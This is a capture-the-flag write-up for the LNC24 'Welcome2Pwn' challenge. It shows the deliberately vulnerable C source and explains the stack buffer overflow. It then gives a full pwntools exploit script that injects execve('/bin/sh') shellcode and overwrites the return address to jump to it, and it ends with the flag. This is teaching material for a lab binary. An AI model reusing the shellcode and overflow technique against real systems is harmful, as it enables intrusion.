Welcome2Pwn!

~# cat Question

What better way to learn pwn than to go on a trip to the beach? (Because there are shells!)

FILES: welcome, welcome.c

welcome.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

char stuff[0x100];
char * code;

void shellz(void) {
    printf("Here's your shell!\n");
    memcpy(code, stuff, 0x100); 
    typedef void (*func_t)(void);
    ((func_t)code)();
}

int main(void) {
    char buf[0x100];
    
    // Ignore this
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    code = mmap(NULL, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    
    printf("Welcome to pwn!\n");
    printf("Show me a cool exploit technique!\n");
    printf(">> ");
    fgets(stuff, 0x100, stdin);
    printf("Now tell me where to go: \n");
    printf(">> "); 
    fgets(buf, 0x200, stdin);
    return 0;
}

The challenge provided a file that contained a buffer overflow vulnerability. The goal is to exploit this vulnerability to execute the shellz function, which copies the stuff array into the code buffer and then executes the contents of code as shellcode.

  1. The program defines a global stuff array and a global code pointer.

  2. The shellz function copies the contents of stuff into the memory pointed to by code and then executes it as shellcode.

  3. In the main function, the program sets up a buf buffer and maps the code buffer as executable memory using mmap.

  4. The program reads input into the stuff array and buf buffer using fgets.

Exploiting

The goal is to overflow the buf buffer in such a way that we overwrite the return address of the main function with the address of the shellz function. This will cause the program to return to shellz instead of returning to main, effectively executing our shellcode.

  1. Crafting the Payload:

    • We need to send a payload that overflows the buf buffer and overwrites the return address with the address of shellz.

  2. Finding the Offset:

    • We use cyclic input to find the offset at which the return address is overwritten.

  3. Crafting the Final Payload:

    • We craft a payload that includes padding to reach the return address and the address of shellz.

Analysis of the script

  1. The script starts a process for the challenge binary and uses the ELF class from the pwn library to get information about the binary.

  2. It crafts a shellcode using assembly instructions for a execve("/bin/sh", NULL, NULL) syscall.

  3. It sends the shellcode to the program to populate the stuff array.

  4. It calculates the padding required to reach the return address and crafts a payload with the padding and the address of shellz.

  5. Finally, it sends the payload to the program, triggering the overflow and executing the shellcode.

#!/bin/python3

from pwn import *

proc = process("./welcome")
elf = ELF("./welcome")

def debugger(): 
    pause()
    gdb.attach(proc, gdbscript="b* 0x0000000000401449", gdb_args=["-ix", "/home/kaligula/.gdbinit_pwndbg"])
    pause()

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
proc.sendline(shellcode)

padding = cyclic(cyclic_find("qaac"))
rip = p64(elf.sym["shellz"])
payload = padding + rip
print(payload)

#debugger()

proc.sendline(payload)
proc.interactive()
proc.close()

Flag: LNC24{C0MPU73R_G0_brRrRRrRRRRRRrrRrRRRrRrRrRRrRRrRRRRRrRrR}

Last updated